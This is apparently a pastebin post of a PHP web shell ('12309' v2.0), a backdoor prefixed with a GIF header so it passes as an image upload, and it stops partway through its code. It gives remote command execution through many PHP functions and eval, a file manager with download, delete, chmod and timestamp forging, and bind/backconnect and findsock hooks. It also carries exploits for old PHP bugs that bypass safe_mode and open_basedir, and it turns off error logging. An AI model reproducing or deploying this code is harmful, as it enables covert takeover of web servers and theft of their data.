· 8 years ago · Jun 02, 2018, 12:04 AM
1GIF89GMZ
2<?php
3//th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
4if(isset($_GET['pfs'])) {
5 if(empty($_GET['path'])) {
6 $path="./";
7 } else {
8 $path=$_GET['path'];
9 }
10 findsock($path);
11}
12
13$ver="2.0";
14// --------------------------------------------- globals
15@ini_set('display_errors',0);
16@ini_set('log_errors',0);
17@error_reporting(0);
18@set_time_limit(0);
19@ignore_user_abort(1);
20@ini_set('max_execution_time',0);
21$htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
22if($_POST['action']!="") {
23 $_SESSION['action']=$_POST['action'];
24 $action=$_SESSION['action'];
25} else {
26 $action="viewer";
27}
28// download file or command execution result
29if($action=="download" or $_POST["down"]=="on") {
30 $download="1";
31}
32if ($download == "1") {
33 if (isset($_POST["file"])) {
34 header('Content-Length:'.filesize($_POST["file"]).'');
35 }
36 header("Content-Type: application/force-download");
37 header("Content-Type: application/octet-stream");
38 header("Accept-Ranges: bytes");
39 if (isset($_POST["filename"])) {
40 header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
41 } elseif (isset($_POST["file"])) {
42 header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
43 } else {
44 header('Content-Disposition: attachment; filename="result.txt"');
45 }
46}
47@set_magic_quotes_runtime(0);
48// slashes fix by r00nix
49if (get_magic_quotes_gpc()) {
50 function stripslashes_deep($value) {
51 $value = is_array($value) ?
52 array_map('stripslashes_deep', $value) :
53 stripslashes($value);
54 return $value;
55 }
56 $_POST = array_map('stripslashes_deep', $_POST);
57 $_GET = array_map('stripslashes_deep', $_GET);
58 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
59 $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
60}
61$descriptorspec = array(
62 0 => array("pipe", "r"),
63 1 => array("pipe", "w"),
64 2 => array("pipe", "w")
65);
66$helpscript='function showTooltip(id)
67{
68 var myDiv = document.getElementById(id);
69 if(myDiv.style.display == "none"){
70 myDiv.style.display = "block";
71 } else {
72 myDiv.style.display = "none";
73 }
74 return false;
75}';
76$resizescript='function changeSize(elem){
77 if(event.keyCode==13){
78 elem.rows = elem.rows+1;
79 }
80 var oldrows = getrows(elem);
81 var myTxtAreaSize = elem.value.length;
82 var newrows = (myTxtAreaSize / 80 | 0)+1;
83 if(newrows>oldrows){
84 elem.rows = newrows;
85 } else {
86 elem.rows = oldrows;
87 }
88}
89function getrows(elem){
90 var text = elem.value.replace(/\s+$/g, "\n");
91 var aNewlines = text.split("\n");
92 var iNewlineCount = aNewlines.length;
93 return iNewlineCount;
94}';
95$design='function cleard() {
96 document.cookie="d=c; path=/;";
97 window.location.reload();
98}
99function blackd() {
100 document.cookie="d=b; path=/;";
101 window.location.reload();
102}';
103if ($_COOKIE['d'] != "c") {
104 $style='<style type="text/css">
105 a {
106 color: yellow;
107 text-decoration: none;
108 text-shadow: black 0px 0px 4px;
109 }
110 input {
111 background-color: #303030;
112 color: #73ba25; /* guess why */
113 border: none;
114 }
115 textarea {
116 background-color: #303030;
117 color: #73ba25;
118 border: none;
119 }
120 input[type="submit"] {
121 background-color: gray;
122 color: white;
123 }
124 select {
125 background-color: black;
126 color: yellow;
127 }
128 body {
129 background-color: black;
130 color: white;
131 }
132 </style>';
133} else {
134 $style='';
135}
136if ($_COOKIE['d'] == "c") {
137 $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
138 } else {
139 $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
140}
141$title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
142<!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
143<html>
144 <head>
145 <title>12309 '.$ver.'</title>
146 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
147// --------------------------------------------- symbolic permissions
148function fperms($file,$request) {
149 $perms = fileperms($file);
150 if (($perms & 0xC000) == 0xC000) {$info = 's';}
151 elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
152 elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
153 elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
154 elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
155 elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
156 elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
157 else {$info = '?';}
158 if ($request == "string") {
159 $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
160 $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
161 $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
162 return $info;
163 } elseif ($request == "array") {
164 $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
165 $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
166 $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
167 return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
168 } else {
169 return "request?";
170 }
171}
172function view_perms_color($file) {
173 if (!is_readable($file)) {
174 return "<font color=red>".fperms($file,"string")."</font>";
175 } elseif (!is_writable($file)) {
176 return "<font color=white>".fperms($file,"string")."</font>";
177 } else {
178 return "<font color=green>".fperms($file,"string")."</font>";
179 }
180}
181// --------------------------------------------- touch file
182function touchz($file) {
183 $form=TRUE;
184 if (isset($_POST["touch_submit"])) {
185 $date=explode(" ",$_POST["time"]);
186 $day=explode("-",$date[0]);
187 $time=explode(":",$date[1]);
188 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
189 if (touch($file,$unixtime,$unixtime)) {
190 $form = FALSE;
191 echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
192 } else {
193 echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
194 }
195 }
196 if ($form) {
197 echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
198 <input type=\"hidden\" name=\"p\" value=\"f\">
199 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
200 <input type=\"hidden\" name=\"action\" value=\"touch\">
201 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
202 touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
203 <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
204 </table></form>";
205 }
206 return TRUE;
207}
208// --------------------------------------------- chmod code from c99 shell, updated by 12309
209function chmodz($file) {
210 $check = fileperms($file);
211 if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
212 else {
213 $form=TRUE;
214 if (isset($_POST["chmod_submit"])) {
215 $chmod_o=$_POST["chmod_o"];
216 $chmod_g=$_POST["chmod_g"];
217 $chmod_w=$_POST["chmod_w"];
218 $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
219 if (chmod($file,octdec($octet))) {
220 $form = FALSE;
221 echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
222 } else {
223 echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
224 }
225 }
226 if (isset($_POST["chmod_string"])) {
227 if (chmod($file,octdec($_POST["string"]))) {
228 $form = FALSE;
229 echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
230 } else {
231 echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
232 }
233 }
234 if ($form) {
235 $perms = fperms($file,"array");
236 echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
237 <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
238 <input type=\"hidden\" name=\"p\" value=\"f\">
239 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
240 <input type=\"hidden\" name=\"action\" value=\"chmod\">
241 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
242 <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
243 <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
244 echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
245 <input type=\"hidden\" name=\"p\" value=\"f\">
246 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
247 <input type=\"hidden\" name=\"action\" value=\"chmod\">
248 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
249 <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
250 <tr>
251 <td><b>Owner</b><br>
252 <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
253 <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
254 <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
255 </td>
256 <td><b>Group</b><br>
257 <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
258 <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
259 <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
260 </td>
261 <td><b>World</b><br>
262 <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
263 <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
264 <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
265 </td>
266 </tr>
267 <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
268 </table></form>";
269 }
270 }
271 return TRUE;
272}
273// --------------------------------------------- clearing phpversion()
274function version() {
275 $pv=explode(".",phpversion());
276 if(eregi("-",$pv[2])) {
277 $tmp=explode("-",$pv[2]);
278 $pv[2]=$tmp[0];
279 }
280 $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
281 return $php_version_sort;
282}
283// --------------------------------------------- recursive dir removal by Endeveit
284function rmrf($dir)
285{
286 if ($objs = glob($dir."/*")) {
287 foreach($objs as $obj) {
288 is_dir($obj) ? rmrf($obj) : unlink($obj);
289 }
290 }
291 if (rmdir($dir)) {
292 return TRUE;
293 } else {
294 return FALSE;
295 }
296}
297// --------------------------------------------- checking for enabled funcs
298function function_enabled($func) {
299 $disabled=explode(",",@ini_get("disable_functions"));
300 if (empty($disabled)) {
301 $disabled=array();
302 }
303 else {
304 $disabled=array_map('trim',array_map('strtolower',$disabled));
305 }
306 return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) );
307}
308if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
309 $failflag="1";
310} else {
311 $failflag="0";
312}
313// -------------------------------------------- run command
314function run($c) {
315 if (function_enabled('shell_exec')) {
316 shell_exec($c);
317 } else if(function_enabled('system')) {
318 system($c);
319 } else if(function_enabled('passthru')) {
320 passthru($c);
321 } else if(function_enabled('exec')) {
322 exec($c);
323 } else if(function_enabled('popen')) {
324 $fp=popen($c,'r');
325 @pclose($fp);
326 } else if(function_enabled('proc_open')) {
327 $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
328 while (!feof($pipes[1])) {
329 $buffer.=fread($pipes[1],1024);
330 }
331 @proc_close($handle);
332 }
333}
334// -------------------------------------------- php <= 5.2.9 curl bug
335function sploent529($path) {
336 if (!is_dir('file:')) {
337 mkdir('file:');
338 }
339 $dirz=array();
340 $a=array();
341 $a=explode('/',$path);
342 $c=count($a);
343 $dir='file:/';
344 $d=substr($dir,0,-1);
345 if (!is_dir($d)) {
346 mkdir($d);
347 }
348 for ($i=0;$i<$c-1;++$i) {
349 $dir.=$a[$i].'/';
350 $d=substr($dir,0,-1);
351 $dirz[]=$d;
352 if (!is_dir($d)) {
353 mkdir($d);
354 }
355 }
356 if (!file_exists($path)) {
357 $fp=fopen('file:/'.$path,'w');
358 fclose($fp);
359 }
360 $ch=curl_init();
361 curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
362 curl_setopt($ch,CURLOPT_HEADER,0);
363 if(FALSE==curl_exec($ch)) {
364 echo (" fail :( either there is no such file or exploit failed ");
365 curl_close($ch);
366 rmrf('file:');
367 die();
368 } else {
369 curl_close($ch);
370 rmrf('file:');
371 return TRUE;
372 }
373}
374// --------------------------------------------- php 5.1.6 ini_set bug
375function sploent516() {
376 //safe_mode check
377 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
378 ini_restore("safe_mode");
379 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
380 ini_set("safe_mode", FALSE);
381 ini_set("safe_mode", "Off");
382 ini_set("safe_mode", "0");
383 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
384 echo "<font color=\"red\">safe mode: ON</font><br>";
385 } else {
386 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
387 }
388 } else {
389 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
390 }
391 } else {
392 echo "<font color=\"green\">safe mode: OFF</font><br>";
393 }
394 //open_basedir check
395 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
396 echo "open_basedir: none<br>";
397 }
398 else {
399 ini_restore("open_basedir");
400 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
401 echo "open_basedir: none || hello php-5.1.6 bugs<br>";
402 }
403 else {
404 ini_set('open_basedir', '/');
405 if (ini_get("open_basedir")=="/") {
406 echo "open_basedir: / || hello php-5.1.6 bugs<br>";
407 }
408 else {
409 $basedir=TRUE;
410 echo "open_basedir: ".ini_get("open_basedir");
411 }
412 }
413 }
414}
415// --------------------------------------------- findsock
416function findsock($path) {
417 $VERSION = "1.0";
418 echo "findsock start\n ";
419 $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
420 run($c);
421 echo " exiting\n";
422 exit();
423}
424// --------------------------------------------- search for binary
425function search($bin,$flag) {
426 if ($flag=="1") {
427 $path="";
428 return $path;
429 } else {
430 if (function_enabled('shell_exec')) {
431 $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
432 } else if(function_enabled('exec')) {
433 $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
434 } else if(function_enabled('system')) {
435 ob_start();
436 system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
437 $path=trim(ob_get_contents());
438 ob_end_clean();
439 } else if (function_enabled('popen')) {
440 $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
441 $path=trim(stream_get_contents($hndl));
442 pclose($hndl);
443 } else if(function_enabled('passthru')) {
444 ob_start();
445 passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
446 $path=trim(ob_get_contents());
447 ob_end_clean();
448 } else if(function_enabled('proc_open')) {
449 $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
450 $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
451 if (is_resource($process)) {
452 fwrite($pipes[0],$c);
453 fclose($pipes[0]);
454 $path=trim(stream_get_contents($pipes[1]));
455 fclose($pipes[1]);
456 fclose($pipes[2]);
457 @proc_close($process);
458 }
459 }
460 }
461 return $path;
462}
463// --------------------------------------------- filemanager code by Grinay, updated by 12309
464function owner($path) {
465 $user=fileowner($path);
466 $group=filegroup($path);
467 $data=$user;
468 if(function_enabled('posix_getpwuid')) {
469 $u=posix_getpwuid($user);
470 $data.=" (".$u["name"].")";
471 }
472 $data.=" <br> ".$group;
473 if(function_enabled('posix_getgrgid')) {
474 $g=posix_getgrgid($group);
475 $data.=" (".$g["name"].") ";
476 }
477 return $data;
478}
479function view_size($size) {
480 if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
481 elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
482 elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
483 else { $size=$size ." B"; }
484 return $size;
485}
486function dirsize($path) {
487 $totalsize=0;
488 if ($handle=opendir($path)) {
489 while (false !== ($file = readdir($handle))) {
490 $nextpath=$path . '/' . $file;
491 if ($file!='.' && $file != '..' && !is_link ($nextpath)) {
492 if (is_dir($nextpath)) {
493 $result=dirsize($nextpath);
494 $totalsize+=$result['size'];
495 } elseif (is_file($nextpath)) {
496 $totalsize+=filesize($nextpath);
497 }
498 }
499 }
500 }
501 closedir ($handle);
502 return $totalsize;
503}
504function scandire($dir) {
505 if (empty($dir)) { $dir=getcwd(); }
506 $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>');
507 $dir=getcwd()."/";
508 $dir=str_replace("\\","/",$dir);
509 if (is_dir($dir)) {
510 if ($dh = opendir($dir)) {
511 while (($file = readdir($dh)) !== false) {
512 if(filetype($dir . $file)=="dir") $dire[]=$file;
513 if(filetype($dir . $file)=="file")$files[]=$file;
514 }
515 closedir($dh);
516 @sort($dire);
517 @sort($files);
518 echo "<table border>";
519 echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
520 echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>";
521 for($i=0;$i<count($dire);$i++) {
522 $link=$dir.$dire[$i];
523 echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>Dir</td><td>'.view_size(dirsize($link)).'</td><td>'.date("d/m/Y H:i:s",filemtime($link)).'<br>'.date("d/m/Y H:i:s",filectime($link)).'<br>'.date("d/m/Y H:i:s",fileatime($link)).'</td><td>'.owner($link).'</td><td>'.substr(sprintf('%o',fileperms($link)), -4).' <br>('.view_perms_color($link,"string").')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Touch">T</a></td></tr>';
524 }
525 for($i=0;$i<count($files);$i++) {
526 $linkfile=$dir.$files[$i];
527 echo '<tr><td><a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();">'.$files[$i].'</a><br></td><td>File</td><td>'.view_size(filesize($linkfile)).'</td><td>'.date("d/m/Y H:i:s",filectime($linkfile)).'<br>'.date("d/m/Y H:i:s",filemtime($linkfile)).'<br>'.date("d/m/Y H:i:s",fileatime($linkfile)).'</td><td>'.owner($linkfile).'</td><td>'.substr(sprintf('%o',fileperms($linkfile)), -4).' <br>('.view_perms_color($linkfile,"string").')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>';
528 }
529 echo "</table>";
530 }
531 }
532}
533// --------------------------------------------- main code
534if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
535switch ($_REQUEST['p']) {
536 case "s":
537 if (empty($_POST["wut"]) and $download != "1") {
538 echo $title;
539 sploent516();
540 if (ini_get("safe_mode")) {
541 $failflag="1";
542 }
543 $shelltext=("uname -a");
544 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">
545 <font color="green"> haxor@pwnedbox$ </font><textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> <input type="submit" value="go"> <input name="p" type="hidden" value="s"><input type="checkbox" name="down"> download <br><br>';
546 if ($failflag=="1") {
547 echo "all system functions are disabled :( <font color=\"gray\"> but you could try a CGI/SSI shell ;) and still there is<br></font>"; } else {
548 if (function_enabled('passthru')) {
549 echo 'passthru <input name="wut" value="passthru" type="radio" checked><br>';
550 } else { echo 'passthru is disabled!<br>';}
551 if (function_enabled('system')) {
552 echo 'system <input name="wut" value="system" type="radio"><br>';
553 } else { echo 'system is disabled!<br>';}
554 if (function_enabled('exec')) {
555 echo 'exec <input name="wut" value="exec" type="radio"><br>';
556 } else { echo 'exec is disabled!<br>';}
557 if (function_enabled('shell_exec')) {
558 echo 'shell_exec <input name="wut" value="shell_exec" type="radio"><br>';
559 } else { echo 'shell_exec is disabled!<br>';}
560 if (function_enabled('popen')) {
561 echo 'popen <input name="wut" value="popen" type="radio"><br>';
562 } else { echo 'popen is disabled!<br>';}
563 if (function_enabled('proc_open')) {
564 echo 'proc_open <input name="wut" value="proc_open" type="radio"><br>';
565 } else { echo 'proc_open is disabled!<br>';}
566 }
567 // eval almost always enabled, except there is special option in suhosin-patched php
568 echo 'php eval() <input name="wut" value="eval" type="radio"><br>';
569 echo '</form>';
570 echo "<br>pcntl_exec:";
571 //determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
572 if (extension_loaded('pcntl')) {
573 if (function_enabled('pcntl_fork')) {
574 if (function_enabled('pcntl_exec')) {
575 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="./rezult.html"> ';
576 if (is_writable("./")) {
577 echo "<font color=\"green\">(./ writable)</font>";
578 } else {
579 echo "<font color=\"red\">(./ readonly)</font>";
580 }
581 echo '<br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
582 } else {
583 echo "<br>pcntl_exec is disabled!<br>";
584 }
585 } else {
586 echo "<br>pcntl_fork is disabled!<br>";
587 }
588 } else {
589 echo "<br>fail, no pcntl.so here<br>";
590 }
591 echo "<br>ssh2_exec:";
592 if (extension_loaded('ssh2')) {
593 if (function_enabled('ssh2_connect')) {
594 if (function_enabled('ssh2_exec')) {
595 if ($download != "1") {
596 if (empty($_POST["wut"])) {
597 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"> <font color="gray">host: <input name="ssh2host" type="text" size="20" value="localhost"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="22"> user: <input name="ssh2user" type="text" size="20" value="h4x0r"> password: <input name="ssh2pass" type="text" size="20" value="r0xx0r"> </font><br><font color="green"> haxor@pwnedbox$ </font><input name="command" type="text" size="40" value="uname -a"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
598 }
599 }
600 } else {
601 echo "<br>ssh2_exec is disabled!";
602 }
603 } else {
604 echo "<br>ssh2_connect is disabled!";
605 }
606 } else {
607 echo "<br>fail, no ssh2.so here";
608 }
609 echo "</body></html>";
610 } else {
611 if ($download != "1") {
612 echo $title;
613 }
614 $shelltext=$_POST["command"];
615 $html='<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s">';
616 $input='<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> 2>&1 <input type="submit" value="Enter"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="';
617 if ($download != "1") {
618 switch ($_POST["wut"]) {
619 case "passthru":
620 if (strnatcmp(version(),"5.2.9") <= 0) {
621 sploent516();
622 }
623 echo "$html"; echo "$input"; echo 'passthru"></form>';
624 break;
625 case "system":
626 if (strnatcmp(version(),"5.2.9") <= 0) {
627 sploent516();
628 }
629 echo "$html"; echo "$input"; echo 'system"></form>';
630 break;
631 case "exec":
632 if (strnatcmp(version(),"5.2.9") <= 0) {
633 sploent516();
634 }
635 echo "$html"; echo "$input"; echo 'exec"></form>';
636 break;
637 case "shell_exec":
638 if (strnatcmp(version(),"5.2.9") <= 0) {
639 sploent516();
640 }
641 echo "$html"; echo "$input"; echo 'shell_exec"></form>';
642 break;
643 case "popen":
644 if (strnatcmp(version(),"5.2.9") <= 0) {
645 sploent516();
646 }
647 echo "$html"; echo "$input"; echo 'popen"></form>';
648 break;
649 case "proc_open":
650 if (strnatcmp(version(),"5.2.9") <= 0) {
651 sploent516();
652 }
653 echo "$html"; echo "$input"; echo 'proc_open"></form>';
654 break;
655 case "eval":
656 if (strnatcmp(version(),"5.2.9") <= 0) {
657 sploent516();
658 }
659 echo "$html"; echo 'php -r \''; echo '<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> \' <input type="submit" value="Enter">
